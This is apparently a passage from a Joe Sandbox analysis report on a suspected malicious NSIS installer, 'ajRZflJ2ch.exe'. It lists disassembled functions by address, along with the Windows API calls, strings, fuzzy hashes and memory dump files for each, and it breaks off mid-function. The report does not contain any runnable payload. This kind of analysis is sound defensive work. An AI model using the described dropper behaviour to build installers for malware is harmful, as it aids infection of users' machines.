Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\ajRZflJ2ch.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-412367475
Opcode ID: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: e11a689ec9d555b5fe2f652178506891ef29a00bc77516d82e2752c077597b55
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,?), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
, xrefs: 00405385
N, xrefs: 00405057

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08
\*.*, xrefs: 00405B65

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1432729950
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,?), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,?,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,?), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,75573420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,00435800,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

1033, xrefs: 00403AF8, 00403B54
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
RichEd20, xrefs: 00403D06
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEd32, xrefs: 00403D14
(7B, xrefs: 00403B04
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEdit, xrefs: 00403D33
_Nb, xrefs: 00403C5C, 00403CC4
RichEdit20W, xrefs: 00403D24, 00403D2A
.exe, xrefs: 00403BE6

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1642274604
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\ajRZflJ2ch.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\ajRZflJ2ch.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,C:\Users\user\Desktop\ajRZflJ2ch.exe,C:\Users\user\Desktop\ajRZflJ2ch.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

Inst, xrefs: 00403017
C:\Users\user\Desktop\ajRZflJ2ch.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
soft, xrefs: 00403020
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
Null, xrefs: 00403029
Error launching installer, xrefs: 00402F80

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\ajRZflJ2ch.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2244986074
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsd88AD.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsd88AD.tmp$C:\Users\user\AppData\Local\Temp\nsd88AD.tmp\System.dll$Call
API String ID: 1941528284-700620031
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
